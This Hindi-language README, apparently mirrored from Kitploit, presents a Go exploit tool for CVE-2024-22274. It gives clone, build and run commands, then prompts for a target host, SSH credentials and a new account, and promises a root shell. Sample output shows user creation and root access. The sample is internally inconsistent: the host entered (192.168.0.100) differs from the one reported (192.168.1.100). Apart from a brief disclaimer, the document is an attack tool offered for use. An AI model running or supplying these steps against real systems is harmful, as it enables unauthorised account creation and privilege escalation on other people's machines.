CVE-2024-22274 एक्सप्लॉइट

इस रिपॉजिटरी में CVE-2024-22274 के लिए एक एक्सप्लॉइट है। यह एक्सप्लॉइट SSH के माध्यम से एक दूरस्थ मशीन पर एक नया उपयोगकर्ता बनाता है और फिर रूट शेल प्रदान करता है।

आवश्यकताएँ

• Go (Golang) आपकी मशीन पर स्थापित होना चाहिए। आप इसे यहाँ से डाउनलोड कर सकते हैं।
• SSH एक्सेस वाली एक दूरस्थ मशीन।

संकलन

1. रिपॉजिटरी को क्लोन करें:

   root@kitploit:~

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. आवश्यक पैकेज स्थापित करें:

   root@kitploit:~

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. Go प्रोग्राम को संकलित करें:

   root@kitploit:~

   go build -o cve-2024-22274-rce main.go
   

उपयोग

1. संकलित प्रोग्राम को चलाएँ:

   root@kitploit:~

   ./cve-2024-22274-rce
   

2. संकेतों का पालन करें:

   • लक्ष्य मशीन का होस्ट पता दर्ज करें।
   • SSH पोर्ट दर्ज करें (डिफ़ॉल्ट 22 है)।
   • लक्ष्य मशीन का SSH उपयोगकर्ता नाम दर्ज करें।
   • लक्ष्य मशीन का SSH पासवर्ड दर्ज करें।
   • वह नया उपयोगकर्ता नाम दर्ज करें जिसे आप बनाना चाहते हैं।
   • नए उपयोगकर्ता के लिए नया पासवर्ड दर्ज करें।

3. उपयोगकर्ता बनने के बाद, आपको लक्ष्य मशीन पर एक रूट शेल मिलेगा। आप नए उपयोगकर्ता के रूप में कमांड निष्पादित कर सकते हैं।

उदाहरण

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

अस्वीकरण

यह कोड केवल शैक्षिक उद्देश्यों के लिए है। इसका जिम्मेदारी से उपयोग करें और केवल उन प्रणालियों पर जिनका परीक्षण करने की आपको अनुमति है।

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।